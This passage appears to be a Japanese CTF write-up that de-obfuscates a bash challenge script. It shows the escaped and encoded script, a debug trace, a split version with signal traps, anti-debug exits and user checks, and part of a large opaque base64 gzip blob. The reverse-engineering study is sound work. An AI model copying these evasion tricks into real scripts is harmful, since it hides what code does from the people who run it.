$($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' -d);$'\u003A' $(echo X42qiETq1u2p |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);: $($'\u0065\u0063\u0068\u006f' ZXhpdAo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );$'\72' exit;$'\x3A' $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50);$'\72' $(ls --help|grep ^G|cut -c8)$(printf "%b" $(printf '%s%x' '\x' $((0x77 ^ 0x2f)))|tr A-Z a-z)$(ls --help|grep ^G|cut -c11)$(ls --help|grep ^G|cut -c10);: $(echo pT93MKWiMzLX |tr A-Za-z N-ZA-Mn-za-m|base64 -d);

実行すると、以下のようなアニメーションが出てきました(すごい)。 f:id:tsalvia:20191022160826g:plain

このままだと処理がよく分からないので、デバッグモードで実行してみます。

$ bash -x Beeeeeeeeeer_ec349d2c91cb37b7657bc3d684d0b5c4c8cb06a2

# 省略

+ base64 -d
+ echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo=
Let's decording!(≧∀≦*)
+ read
hoge
++ base64 -d
++ echo MjAK
+ trap '' 1 2 3 15 18 19 20
+ echo hxB
+ grep x
hxB
+ exit

Let's decording!(≧∀≦*) と表示した後、標準入力待ちとなっていました。 適当にhogeと入力してみると、そのままexitで終了してしまいました。

セミコロン;の後に改行を入れて、どこで止まっているのかを確認してみます。

$ sed -e "s/;/;\n/g" Beeeeeeeeeer_ec349d2c91cb37b7657bc3d684d0b5c4c8cb06a2 > Beeeeeeeeeer_2.sh

改行を挿入すると、以下のようになります。

echo -e "\033#8";
sleep 1;
C=$(tput cols);
L=$(tput lines);
for ID in $(seq $(($L*$C*6)));
do x=$(($RANDOM%$C));
y=$(($RANDOM%$L));
printf "\033[${y};
${x}f ";
done;
for ID in $(seq $(($L*$C*6)));
do x=$(($RANDOM%$C));
y=$(($RANDOM%$L));
printf "\033[${y};
${x}fF";
done;
clear;
echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo=|base64 -d;
read;
$'\164\162\141\160' '' $'\61' $'\62' $'\63' $'\x31\x35' $'\x31\x38' $'\u0031\u0039' $(echo MjAK |base64 -d);
echo $-|grep x && exit;
$(echo =btB |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo =bNpyW3M |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo XRKY |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo =ogO |rev|base64 -d)&&exit;
if [ -z "$1" ];
then  ID=$'\x6e\x61\x6e\x64\x6f\x6b\x75';
else  ID="$1";
fi;
if whoami | grep -e root -e user -e adm -e nobody -e test -e "$ID" >/dev/null;
then :;
else exit;
 fi;
for i in $($'\x73\x65\x71' $((RANDOM % 10)));
do  $($'\x65\x63\x68\x6f' c2xlZXAK | $'\x62\x61\x73\x65\x36\x34' -d) $((RANDOM % 300));
done;
$'\145\143\150\157' $-|$(echo =oAclJ3Z |rev|base64 -d) $(echo =oAe |rev|base64 -d) && $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );
$(echo =btB |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo M3WypNb= |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo YKRX |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo Btb= |tr A-Za-z N-ZA-Mn-za-m|base64 -d)&&exit;
$'\145\170\160\157\162\164' $'\u0053\u0031'=$(echo aG9nZWZ1Z2EK |base64 -d);
echo -n H4sIAMlSRl0AA439Z6/k3prliX2VRKEG1QX2BYOe1FVJoPfeU6MX9CbofRD14cX/rduYHqmB0YvDczLpNvd+nrV+KyPyRDWtf75/2vHPv/63f/1vZd5Mf2ZY/lr7f/zHn//c1z/035L0b88f428J/Td9/NuT/m34zyzdShz987fi39+T/ptDG5yp//nf/kCfPwD07//+738vpj/9f/wv9vz9T/XebPg/3ew//qNm7wDO//znWp7/pyv37/Hvld4j/+1/Pz4fHPvHFvnHlvzHtvq3P0loTNk1vWP988/D4H9sob+2BPJ/nIjg/9ii//bP4+DiH/veP//7n7+N5Z9/+9/Tf/v7P/f987z8f7rtP7bE5z37n8OebP3/e8h/DXcs//5fI77fU+53tPc71vv/d6T3O877HeVNIP916Du++6/R/fXo/yJN158hHX9/srKct//nv/xjYNB7CoRi7xf0fr2Hjn/+72BRnuC+//7+p7znad3/jH//01Z//l9//uVfx3/5x3P9y7/2//Ln//33vSnHP/9jWMRfQ6Le7+i//b1q/znsfzzWPwb5o/ds8GsFuhvl2Z9MDPqcpW8TDrpUJGstxHqZLfLYzYkcvvskomvd2/sYbk6ZhY7EpcdI5EcTMbYkDC6Z44l/Xrd1RQqRRajJxm8dD+91JR2Uu039z//1nMWD8CRe/GHr//i/mre/9r1rev/Xiv5zlSJOif9rlf4vK/k//8fCZsY4uI/2/+dp/+uV+R+1WP7b/7xE/3MdE+R/FdR/1fE/fv5H4RL/PBvC8H/7ryXxYWErxOAbQSRYBBsvx09cSH1OMIFRI9J6YpkwGOAQ3GtsRH43xi17cC779Z8ecPJisnIR7ZtV9HAHLGcGX4NPrpVNd5NpqMij5gAhvFeA4woRgGtCIgQPUZxzHHEgxxEYOkTg436isbDm06sGtqbZWwYonevOCWK0ms9KZBuA+oMKcToquo35l7PzJBGu2weC6OYrfWMLEkZUmUweOOvq2Gl//xFrmpYfGZDVBvK0UGiv77gP0GV9FCnUzua9fXpKjTYi32xNMFXH+jw5TzFsDwuq850u3Mbi0fA2Kg/TE/UR1o4/wYzwxd2HWnonL3nFgVxif7/KwuRcj0s62xpHMfCfZ/1+4EB/LOYOK6CmVxEtOnkeiPDqClQ22/MmvDpVhFvvIgcg+rGjfKPYfc7S5RLlPiu2QwwOOAxxgejvvrefEVSJfiWQwB8GBNd+ZrQfF7tELjMZ81dLbtp/sDVFfDmekEKD4Q78NFUIyc+UoPn1U+ZQNtSncFzIu9TPooIlBGQIDtPoUWmHEgnzMij9PFHjto+pT1nLaM6KnIedou9qmYBW5/or7ldfJO94QpPYUcXA69uGU7SSvm7SyMH+wpPCzlJ01LEO9HZRei8C/JKGQbqFqVMCG0ncp+Fns131ebDtu33vU+qxhEk2O58EIJ34J7dzIp67dEkCBIVpklWqFBhuVqqJVPgqtoxbWM/tC2sH+l47MKu4k6N8iq1qi604za7kAwCmHlIExJEd9oq3wtVn6N6BtqvZbTEhDsqE3ca7/ZLd1Z74+slsQq32zHP3WY82FoVY3By7+N4qmmzCDAgC+XNQefc6yLmHZUZ/ce5t6WW4Qw0iHLpvXXC18GVGq1z+dHp2t43HzyeIYMKWWlyX1W9Afvuoub1+pcMG3M2tb92dPb+KstEGpnjiY0bWVemQNMBklzG3z1eLrVwqtj4GdmqnDe08Nw/fiaVECrLo3Q7Ixa3nZ/xINeiRUvKNAC6cZTDhfZoT8sur3Cwt9MNHZqn+MPNS1p5OuVWPhrlQJX7lmeUUUiQfQjdvzVZO/LTUfsAGJket6DORte0YxitvTL9Vh1FjE85eEDAmLsAzplqf7ga3o0TSk62oEQKPxSMqwKxmir09uWV+kdOcNoEkOMHbnOg5E1XhJEtRruggqC9+pLJGx6ZBBCp41ADeo18KntnNXgxJVqjvQU/qpjgt8TfWVaveppfiNbhgu0iqpqQX85/9pDnys7lTzpiePAbeeuxJfdI/MV1zEzFTo6I56oRU21f1aaDj2TJF2tMnIzLyG3sdxa9Yco6ZjCxDLbeAAx8/o9ylmwbfxQ1N4+538bdoj/FXKY58ExWuTDVijz1/hR/GaaGwRVDMg76uUxo7E7wNJN3wq3eVCZC/JYCKYUnPo7qS4Sk+jxMJ51gTWfOrtra6/D5RlZgJNcpHaKK6fqaM2iDI1irFmzBnhohpfYDtlAj8e7Q/finUs4q/4aMqcOYtFYnB7gDO2w6HrM+U2BQUS8u3kI6qmD7DaQym90GiSsXGVX5ZtIlYwVfbA7lMO2lFVeFSfudkharKObGiEvsEBpsiztlxAp302e7bamnODT0GWaDYvEonLIxfQ8kf7DxDyJ4e15zTWosVWWCphiAX5bN9EiZKZbMjdNrDSRmpqq4HyYcBBNM7YQuMnh/g06ijU79UWPhJyuoPwrh44YsJzSKpqCkzoi4qEagxmmJdTLRTNE0ysJJ8PgITrzLLVR9VFKf64F98Mv6EUckNY3xidWeoEIKL0iIVAs81N3ZdWdlAqqDW/udLeLsQC2S6C0Y2irgCkuEVUeBqQG6YhnXbuSrzosl+KlMiqGdPUqgMeknDGvDV8Kj5RntlZ5DVg9Holw0D6NaVyv30raXMDrnW0qoEXdydxhUYmuUOgk/qdtyf0T1jlmhYftKQq0QtI4Wu2NLfy9QaTVf3aYSfNgrSmPN/U8xtnTH2slCK5h7PDHOJPweENydH4q/tId5kdl8rOgUNE3s3uKJos+6h6BI3qRji2XmohM2fOkH0CkelanDfSY9VG5NFINnWkR/JPvm1KcahmSUPYPaEX0pcVMg9xWWMQqV68JySQHPJEfaQbac9Tp4DCOybRxf5OHdyRhplAN4A3I46yB+lma5ZlEjulot8/Q06S0SpsYLGfrwaLMhecot2NsX8g83cV+D1gKqQSDnRiVESnxGfLyo3U9GYM3WLkdGXgJwkRGtPXpIXfikRWoSAKe8JDleMx8pUsLPPq7wtO667XnGo+jviEQNLlaoWUfh9dCjy0d3TumoGwNYsAJk4RkLB6mjpi6TzSKT1G36/OPmEZZgQWCxK0I6FG44iWB+vAdu6C81wDX93rWlS7B4XooEoCEX81JD8Obr+d2bOd4CZUUPWV6MTPd1g3lWrgJAtsE7f9ag+moBuLOT+ZIbIrEenFDJabo8wuNT0gYRfNiJhsZOymVunxVgwWODsm3BBGJQXw2mJ2wYYKuiehE7EUkBryyp0PB/snRcKiM/TQYqrsiAjR9bx7k7AJR3kX/js+WbPnrMYEkL9OvGG4vV02HEZSrcWnwvTSvbEgrlDvTG+DlUa3gmE227GsFyMs6Nu0J/ueT2tLL+gbwIjd4GeLJDfPS7veYKNv3N8YFAd8mA7z1vfcMMn8mda4DGFG1JV4odx8xMO+mhmDEiAU8qYmXtFPzkYoTbab8IP8RTkFGUzcoEEV+fJhmZg1zT2wFeJq5HOT0nu3F0jzGStd6mUA0meKFXH8saR+Y/rRKu3tczGskiJsHplvmn44eTFa0KbPCt4ugb0oyz5JrVWUCO9oLl9ttz126AOWG9C4iFhg/QU+uU5QkeLGpXx+jwLb1pea+kGJv3suBrR6RZ2IruVl0iav2vC9nb0aBAlvA41MBglg8PxaBoBfXcuF1VhJbn4HK9jPW2QlhgnMBQ6uhJoBB/Y5IZwPlwxfztlCFbkrWK26wNJ85f7Gsz6mzNl6gsfoIHRjCn4DNAAerQEb74zGV1PyMYBvqT4sjeI9vtLQ1lOS8FcRhcri8jQgfq5HHBCqt900ZxfarGgt/EPmEqziwd/YgjztcfdWMd+ttl9WCJSHvdVIgvJsh1hx/MbtX1l12lq9+7v5x6pQJevOxsPZmpAJayIekDbioe8Y8Jf1co9vA46tHav25hut1xIFTmgV7RU7weGo358NrkBRm6bPLvfd0tDmbqIxwWnlRoeDfdz8Jwg6V/Py206Cu5wddBeubsi2oGpnYphs03W+2gh5EgL8krVoFClJCNZh/cExEwiAI1ymnC5H143gwDBSCFhj/HNBfk8xIXmUV6Jbm4kkVxbCBehRy4mlFpp0swdXuv7NQdOVLcSwR/dkcrkN3n2gOGCm6aXnrjQa+omAGlxXnaG3905X+NkJXrIvqQoyc/T9AKvbR/a0VOTBfwOyrITjmCHFgg+OVbk82vrG6EwWhPwbZySQGgNY3qGTfuKb38UzoHARj8w/oPHI1LMr2eArXokQ6Jn45sbJjQxnHqxPfnR92G2bAvTzk9ctQfwXYnXJI4qCV81y6qD8UDVYQCLSsPM2zc3uTBvbjZb8z4eVhPMvtWB9U0Dv1/auLclBzg5QjPfNlz6CeB+7BCQWpWJdZKZ9M090lCBh0u1i9z/KBCapmALJjcBLsnBaTrjJBjE6K1LuzbjFC4n61YcfgOwFTJj3hFnsczmQC6cw6CUm3ef560gdDFy4D7t1leaZvm42J8q8NMnvbcK1+PBVThLDoNPzPaXjCFwxbES/0QJPUAfnd0+PJ6ID1MWiSvXQ6+3Vmlspu2ElXc+pyxLbbrrj6FYrnspB4XbXYbAIrH1ozKNGwaNUPdeClgdPUNFUrgdhDq/zpV9KFsoQuu78SrGh/SAuen1gGgx1WO2nfAbU6BfJ9FbhsnUN+dlT1RGCgwzQv0irIJ6K77d/tIcodGZvTCyQWN+WT9XzLmUBUGG949J0lthbPD2YJOCILW+pd8rwmYHaX8wfpoDK6bHGoX1kbRnVfvKI/YQqdXmjpwlHUk3hjSYgKOiRG208uZA0mWoAfhdNNysqEHEUTaOYPYtC2pRNfuUSGj2OifUTD2TjGMJlmEcUO8NDuGW1eps8z42jsyXnHnypmsIUTPtOaNfTilNJJVC4tqL74e27uBNhT3oNl245cm25/fkHXfxqDpsAgQ8nNmmmOPLoM7+Yd6WaYjTkiRJN4TKRq6zMeqEBWz2qbHu7Cxv/rqdknpUa+d+OxZQ5ERhEShZftwVENx0fr2Fp5wSjeQFEdOSxmnw7Yvfv9mLSyUbtBIKwQeJIi5ITta2QERfUHhrGsETQleIHLyTnvt4kUNNxZ+SKjTcEpkj47Hpw4ktJK9m/JqRDSX7F02YlXrT60BF7qJFyHwyVWxXPOJanoYcywpTsTAsorSP3eyn8Ct8G1CUIwfctyX5mKDHRSpVVroNaQDpZO038m7+w2+59suXIU2mxjPvc09JTixRqfTks4mD9SBuot+I6/fxWmjJZznCi96qyoa0nLF5Mr8aOswAxsZP8IeiJ7c2Ikjwxh2C29goq/s8kABGZ1ZtpnUetSvqmtfVzSmVqd5SBfBH5om3aahqpQ9KAUQ8PZSIdBuo3l9Se53dMX4CZ0qpUKHoKu4kaQfsDKBfksKuLKHdaV126vGSPeQxRkPk8NUo/T77ezBZJSZE3x3giMSJYX/lRNPyrxZIRpOzKCKQ0l6M7tt59SjBC+xHkPPzZ9FA9wQXShBuJ7u1HhYjjTD9bpWfFss9Ip3YicfeV+02h7tHlTHFyVTHujT2pfmWVg3QWYm3XH+yeO/Vr0jukuSTr5wnxQsfub48aS7SZXfuo55FPBJaLJ3HQLXDd4+A+yROAXbCs6ut9hEI3ZygHmqQAbKLva/DcWNVdPM8xK3t4xb27+zBvW7JyKfZN8yUEpBJUZoqWghzOMiwTH8fo11BnNJtjhbEJhaAvDzuEgiWnIcMzM6gkj6shvoAyX7JAjy2pmc+wDj/xIY7oBDh9Z3Sc2tlaRyiuVE8qcrbXBnjcGVaJ3WjVLRYSzuWrZr5iZDLm2qU2V0uFQUi1wDH8aJd4lk9/MKypuirTAsHUNbDW2HiSGLVHX8j0m2JCypAs6Xl1MxP5DemZfxWVCNQNTgoorqVP0M3KpezZ4eF+biccZeFkmuh5MWyZpn4fZpv6lZ27fXmDUqLB70gfCnnAoRBzqMmYRsv6yJfse2/VCXRie02FCMcqKk/11m+VbckwdkripHYvhUFiooU3/4Bn4gteLjiveBLY5/hCtVDQaoyoUkuSB0iNbOdzuw5WVg1wxCHgscALU9i9rOkf4vT6NbYoBG6CVmVpmiLTi/sCbv9omL8zq/nfk4yCCcANMhoeH2w19WU0k3gvA8myJDb75kXXxYjALI6UuCwjHElvrmPoICvZ+G5EaJr2t302A3Ct0qBjgN6BLatclzuPq6PeunlDJC9z2/hXU8j9YSgu4LqWvkObZraCPGx0OOzX9cRnzdw1VRvpzZKHjDluopKrwK29otTA1WYaVPO+x/gUyEyzSBudHxM9z5dzyB88RrkiKj0bVV/ogc6taTCCVdh0A6nRPvLWHmDQdyMBh01VLklRiyMyytuvAuKZtPHKSAUjB9ixnI9LY/RPmVCPX1BjuTHbjltgUAVkLKYM/yn3sE4kEoc7FpBNHO8xNrFq++3K8kbW/SlAJGqUQnm5ZHASNBGdodGOyH3e3POqpIHUZM/Fv9VT41+VyGogdtEiYu9FXRQ5CIageKSZ7q4KU1Vw09H28X3gY62agsIVE4n+23eR5iEwNFrlkusvaCa+nqh5Nj6QTqyG7l4/7ACc0vuzYeJZNTKV0NTC1qvpwOjXdt1Bdk969aDuK+q6rp1riAHUSohu4BazT+fWhXzkp5VmgvUdauwGHhkoai+IkTgS5nTH75yLAQyCYNEFWdmSkWTGw0Z4gCwPmuyKqplM9vSrdM3WGn6ZFRs+oCajM5LKBdeh58AkncpPPMoGx1T3b51oIGw3uY5iARJ6JMJnb8RDdoBtS/XrzfD6hkhreKthPKm0lup2vY3b583yDTUssyl35ZUsaSVcIJrfAYOq/oqjPprrGmCuK9eeEgFUlPfhZqW1KJmrQ5enyoHjLPzq3IYlqpl04YDFk3WZwZl7w48C5/kWwed8FtPIqd7b648j/C8upZ3b35OlS4ig2qPo5rXyEFezzMr3DsPOBq/vf1NxgH4GtgKFiGMMt6I/Hg0040DH7iKgBfRu28nEp+3Wi3SzMY8Nn/B9isK9yu/5qmFnol/WHAUPxi8EOpwl7d4FGGqgXaqJDI3F5savqhgU5GI9izywe3+6/2QxMCLUf8ZLl5fJlE6Y66xsUezif2rwYUeBCIe5kAhF/fDzeaRSlr4lXkuuSEktSUNDSimYG9e09k4zvwIh0D9kJ3QB2UCD/lv89uQnSflWlUJGsEoX3pvsP9QDCQAvaw3dWpYMQ6NtgQ29OwsgzImqnthiBc+0HGij4qJXYnjTZ8qL93EXKxVqf1Jws+SuxIxDBxZsY/ZYjwARNrQiE+O73MS0FAxdOkAbphgMq9su8eriuvufHqupWQ+PULXVbcnUyd9c2jUFpkH0A4UDR66TbguR5Qcp89td++uFn1KBex5pR5F71yQqSBYJndT7ZJl6X+B0hlrS7WsM6E/ZW5pkmJHGknpdOx+wvVKhYosmZ3xaHig2xZqAXF+hAIMUpIZ6uV31Q2qkvLemVo4aA1my4IxZ8lvsR8vGFEpT7/g86GoyfhYy8CLsMSp8sneX+zTlLCdJJllG6FXtgf8azn5CGhtwpxvt5wu5pcRIsazkY2PR/lJsXGHlfBNd1nLMzeLwew0o+paKaOpvgj3o5ULVtfoXPy47+qRKuU+KNP222K/BgTcp7i+RedPC5rJ8tXheOl4AvYmQb8QgMu6SCt+UJ5IaY86/GUb3GHFmNwd8F4bc7bMt3ydf3HtjnV7Nt4BJj2Kyhzf2ER2/DhIGspDTSPiVaNwzcb4+JKQcZARyV31iyiFp3yJ5JDiu64LZrL4CCGTb9Mwpc6YfMSS88elKYHKEkfTRI85tgtqTAxv83EQEUkYyVc+w8jqARSXpfRgXs268q/8UnWgl6u8OHI66UuklvrvnvSgAVWIchInYUE3OedE9WIp7xc1rbTjRo2HEzKntVBY48ordF8gp9fs2PdU2D491EwEHE96xs87sjy118EO5pzCVWZyFUEn8Sm2NFHZ8co6O4FLeHlIyegIHIyt4pNj1vqhs1qGMX/YklYCWmo4bRaYk+8L+5vDYq1dXGb9fQZvL+fKUtZYTLHto9garny4+6sbe0Vcwwq5dbLZxKG9/nx0ihyT+7VLLO6RyD3YaCMoGQqCKK2JShhmUGxX8IvJH7ZIPBXvyYSjt1mXhfBXTFfDElmHxi36Sq6TnZrV/2bwCavbXfBqDIOuQksyXX8uKH5ei/oO4qd9ZxoL2SY8uJIJBdCiy73HqqB9Kw+LY1tq1j6VA9QSUp1dtAGbQMC4xk11lXJipa/AFdc3iH/EG7EWW7EIr/otZLeRXQtdj3oz6+AuTKNeH82MGGefBO6LICHM8wqf1naZjkVCAnAgfBgI5YMxkaQ7/1kKToxeJbwWNqduMrm2Yn7EOM0HNPJrbtEtqkyugEFMhJJ7jLHVxaMorYjhHHWAvPvFJMVNo/UttZfDThNY5NHL/A6OVaj5TAxFmdU0adJzGHMR99cl5dqYnVDC9QVDVSwq7qM8JBinueeIe5Dc7xIgEk871YxpLB3IsIXZGsEw+Ay7qnOYg9bJtd5gTffA56f9jerSlR0tEFD8eOM0bIHZBBnJdtH+lFBv50g7MNYeqA3RYdJzM6M/t8Z3pL+ovBOWwJmUzNOECQqSgbInauSUYTEHKN3L8AImNe6wlkkulGDcuxjjWZHNnlQk5zwF7l6lIJbapR4U6CfKnLXC8LxtBHJO+1uHiLUuUuGFEzTGW3nx4KBhRHOBu7t/sS93vWBXQJv4/MhC3ODvQwo2k09i8mkt2apUSY1RV1jXyLPoVgkY2bhJuj03GqO6iGN7kPwoV+PkzoY0tfODSqQVI1eRzm8fQR6eIISBGtavKAHOH+ezqwHkgKMS7hyj6aev3gu53xnEt9UunA4VrSksmXf4Nr5dLwSti/LWc6R4G5NSvr5mLbRyv921j+9W8RuBjgXrzLbfD181041OgrZ77wzWDtoH50STa6UQcv54P8v+fRtfwa5SKAzlvK6uDB/oVg2JnLea1hE4+n3J1q0pigD6/sOE4l5YYGx6cetgSig6n+nKBZ9uMM15rZANl44CN3r+fjQUdxoak1vKIbJHp/yTvnM4NaYYDUAOrmPPjYLhse9PDnh2QS9SCCUvbzx8/2Zqcy5uP9+zUWJdaDg8wZIi1fPFtp7LT4ee4GlCw7aMWreWXMSeoipSO4aAD9z9vuv2IrMbgtppGHhamtrXpmPwSXFaGTrCT11e5sdiierxByFit+efU33nRV7NM2Im8H7sHUqZNpJh5GflvwBMa3HF8gpjVULW4tkhq1lf9S3JQGRGGVaK3O/QehToi1PCsyk7rx8K6HVTwc+ikt5IpNzYOxviCUJVSBZXpuPca7Ke2FzwIYcIwhFmBPi7ctMgXAQ/y4iuDPyuWlw9iAJoLfsl0aYPCt5Z9Y70sHXhpNlDD7LKrAGBRQre0sw7wfD4FkiA43GcTLV1OWBztRN+WuEu//ySfW12VDu+wsSoJG2GWz59CmDV2k0RYkovzP908zcXlimCkjjWTIUhObImQpXsAker11hN8WOP5S/xAiLdCW8Y0t1ReA9Zii5fAsrKmEPoPgbwKVZCH9gvbiEzUAFlCCoVDDT2wFGY7kkNduHk5KWmXsjg8L38JBniwpRROGmFFNzvj2gjejG6qovNMeJlGoLY7iXrISLP/CRFLKCATpHWKDng9zcOIXrjqDFw8e5nSOvTRnlL9hWklMYqqoHCeFYbhoVyUGH9UAFm5vM1W8xNKR+Yh1XV8yZqqBs8ojGLBkn/YKuC+5CHFe0Y+I2kfdqQT1YGRPaTHbMF+UpjKNKEFyxFvGErF2B5p9jjMzGOS6+iK2ffqRL0FnZqn/QcMWA1EUQnJQdbao68ZPcJqGIOeF3jI41jcHNAOthnt+iTufrQjW4PlmOAyOYiZ4kkYwwPVRzj4A8VA1wVxs3yk9b1N8TwiMJRN6SfUGi4N2M9ilJ9VgQKqx79pQo5jfDIB2mzlowTXbuduQyOfMb7qbwOyMGV/V5ZFnmVjGHPK7fz6b+JD1ENHpDN89JH53R8+UIRwXtWCHtkmxrmZoStclfRkdDc8hmyKlcvwPH3DSRympwZTv68hGj6BhzsYSnJ8UbXHYlG/UdD4rGONrzeYMaa1XnabmI7MFR4vAcsu8tZQuGZU21qSuDLtaB6IvCrxS9OVFk0Fs8NXzOY0Stq1Z2R1N4rQg3m4YpKLGWgM10sJNw9L4ok8OVGRBSWcOVk+rTrM8lXHzMZ41GKVh64gV9+Uc2FEjqsei058/0sFGbDDzIEIPhFeth2Phjbc0/UWQbWnH8glmnZnfabypKcIhhfTiODv7qiDI0uIwnN7lQncmrVJOnp+D094xXMl8MYNDYgiKxLRu88OwjC3XLqZDlon31R7dshGdYljX3ZIBnd0P1KAOkZNosO8OjZ2cc9z3eRxq+PdaAh9nw20Gv4+BTFfOlt26lB12bxWGy7IMmPen5+xCPhcgzJvib+ztQcQPVgQmvGjwC9seG7McPpVqwzkGOBXk7/nUnVYIAyv95HWUAcdvIEMb2iGJhjlS5TbB7pa0HzNLKz2ZQRgFfGUOl3ZOvlVeSaIBwc2fm9cPYIK/bf/JFajTlF97LQxFoqSYVzivIgijkX5MPI5g6XAxz2WKq9tPn9/mK3iC72S2kdtGYgIUgtH0AQkJ/M54rgD/GFtl81SSD0C0e8araIZ7Hq6yvq25/wnTtLAwWUwZucmnwoPxMAcEWOJW+/SW7BAF+u7ueaWgbCFtUubccFOji0wocIJrnCF9FABaWl1VnhtxFU55WZ1wTdrrvAuTblzscTtifxyQ6zk16sqS7okeDDeo0BpMh1epgtqJVrhCu4s2P5AUqFwet24BmzPWk5Jc6uJLe3WXsb3Z+MblevT4KOuA9oDPSDmjizaIvPV87N3zP6LW2nbdZq8qJdVLvX4kkvru+bUqRdCINnOw8sNNeBUDjTdRIP8Kfitkc9hzWKjT4I8wYqJY2Htocxm3b6ZI0YRgqnjqgSyypyWXEkh69IvYnosJ0cTw+ka5IrbWxcLJ8jkLY8cmlUxqXJSACrkdFr/JJLxnrK6NsE04kgc7mtKaxGAhPtoTcEMFVf09geOCPJtQ5Hv4aS4lJQeihcVqnXb84gbL2wivQNrwNfLj4thA9aad2wc6fbbot1s9hg+9KTNr/8Lgznc+niUXxg+RhET6nL9btHv7hV49U/hzhy433JsjP7IbC20pWxYJm1eTPi9wQxSIiXynjXZPLkAl7X6QpuULZHKEP8zpFLQgUiHo58I9n4bbrgU+yMPpSpclJwH7pJCDtM6fGUvvXGYYSwnPFfGtC/gCV5BwAwt+NqP5Okyiab1V+JxeiTFimzodiYvBb9wO7g0ZTKIb1zT7P582W/D3Txvs/unl94S0jaoiFXzeKDxutqFMEWeqKRygsWXlsdGz+yR+YncrsBM8w/R55OooUBNmiwkElQKH3mjr3wMIaMPiweiRIPHqm1wFyBsRgEqE020opknBr2/M5Vzvd6VLaH1G5jOYWkpxzB2YSpC1hyJR2PS9HFpET1QP1BK82KvyUH9oRMdhvJKjA6P318/KYePsr7wN0JHL8gufeoKm64FCGXnYBfcHiAHuu9T/QoZQBzOEWicfLl5jsjKamvUU8uPQQrxItgn5GaPEhc9l2bWfRlHeDAaYj6pKlWoJ5pPxyqlGq/YI9vwnGBnWIo08w5Ll6t0B/d9hb12x85D07SE7zQFXn4+V2LRM9H/kVol4BocDU7ymt8titewyaEthwsSyz7GSLep97Z8wMKjIZnYRZBjT7Km0oL4EYhzu+TWB5jaBRk7x2JwUGEqsX68E2R7wVU+r0j4WNP4lsiJturQGBvlL0xLD1/BGtnNBeTu8WMP1DnASTV09o1mzTANKWOsQVWzwSmfQPQ4jeMARsYjR1q1GVCPfx1wRHqJkQ/aPaDD48kZ2xCP8dDQiuVpqM07Z5hPKlg6m6AD8/qCj4yl43ewQ9dKy7YMdCo6Rrr8b0G0otYR3VGhpCHvHDBFFMOUp9zVpickO0DS/laMz2O4AiyKpWF6sQACLdgRjrOA7U/VR4BQRf1vi52PIGpu+ukf5kiBugi0U7za+yCf8Exbcl1SUaCqWsAhqPbEZuFHsZZIKilGiJ6C96FiuHLdIwvdUgF8LKUhPCWtKuU/3PT4DRlFr1nIj907fJGKCOxN7HblSJKLGertxO+6/TLeEsO4YK+BrRpG4bD3DpdhFd5wM0xnyUGriu5dLC00gYCowCWzzJ0GEqmg1WVhytkUrdjgE/4W7KfsF0e4xDIiE+AHbXEUvcIKPwGQz6jrSMZsfI7gX7rih4LEM9hbTZXZLxa8K83MymPhd0CHrrUK2IPOChN8iM6HWedWVg5SSkdu00n9xeFVeOkJ/ZJiAUiYkPmU6o+Y8twMzkTyqWhdRueY5bAHCzwK/vkrLqpCzYkm0LPff+E+FC++d9IrN8YYhA8wtDOLluDVixf7iU0OhCWf2KNDcik0wF16cpJvSwBllTptftO4RiZp1ZN3Wn41h0pwuUiqPaXvfIterWddyoxNYXvXy/msjz8gekmJJlBz/bpKEhw1rHzSdXONklOEkrsV3O/pxLfoFnzPJRSbDq4JcImk18y7FIezAefcjLQFxhaZjxFj+/Er/Xuy7D7XDddUWtMVbTCHHNPo6JlMx32+1nnNs57Cuqy9arLj0TnaxMjSeZAVYkIvx3mO1qxpG/ePNfbCesxQETvBF6qCmtpkT85/kymLIx4sAanz2FhwM9vQkXqeY4cNF0iMupSFfnhGSyvWTtefrHAM7GiWuCVmEbL2UpBrEFIm+exE0pfNwAAS9AA90ofehPN9NuLkqGk0ci8xM9ZvylewNIq6py/XiNwwEwLp7JNJnH3M+0RRVtheouLtrb+SU6IYcYBs6cVbR/8E6TLzMIOKvgwMKi4wzuIMR9rjQumeNd1CosJSo2KdPqsljt8bA09Hnpv4hEwGZ27rvRvybNpK0CT09kIM+zZBM2Y7hA+/ICgFGdvzk+HoVJkOlRAPpJ/8NSsJnmaCiVDMhiN7+hE2rNbWD1dLzUwNcEM2Z1pH8kN/xYhQ2p1JsSBkDH1/GE4K7z9t/jSzp+O8KY0Rf8RRGHYMFYTG15W1fdUpazl7WqsTq6NepYH2c2iT/9m2XH1mnDaW2vrQ0xs0gQPsfX3vJEbG2OtNN2pOI3KsI/sE4aXoSbO8/v+fhimENpR5v6On7xBCl9YFSZ7+ZERmvqfZWMaPyAIZJmDwKBWxbl2jJeqqIlkELrjuos5+opIf+wlDllPQsFL0pwAj5m/7EfJckd19xaC6Jkzoyrp1sR6Ek7O2l8K5RWjjI/zAVqZV7mQi4G5lOgt2L4kHdJG94Y+7FR6U9zRj17yrDFY1dXQtkqtVHRLJQ9NuNfTn59eBjUYY4eLJGx/D0bwHX6Rl93Wk49zekgcoKzUdIZv5vXEfAvy2q0lx3XZGGMF0afv0Yl4T6jED5sE1bNUYNxLp+Qj6e/nfasqF6FZjX/TON00IIE9+HtF3bX4nVxYSliMr2DLh/d6Xvisftbg8fomSerTNDM4JJignTEEsS8Cpvm33mbwegsRE2TzDp809K+s8UOp/+1MiPrwopk4S9L71nvtT3KJqkJ94PJHGUKxD6y/jPipYOUTFn14hvnEsB0+pGZc7r9nY5Wp8jWzgViVcAq4q3O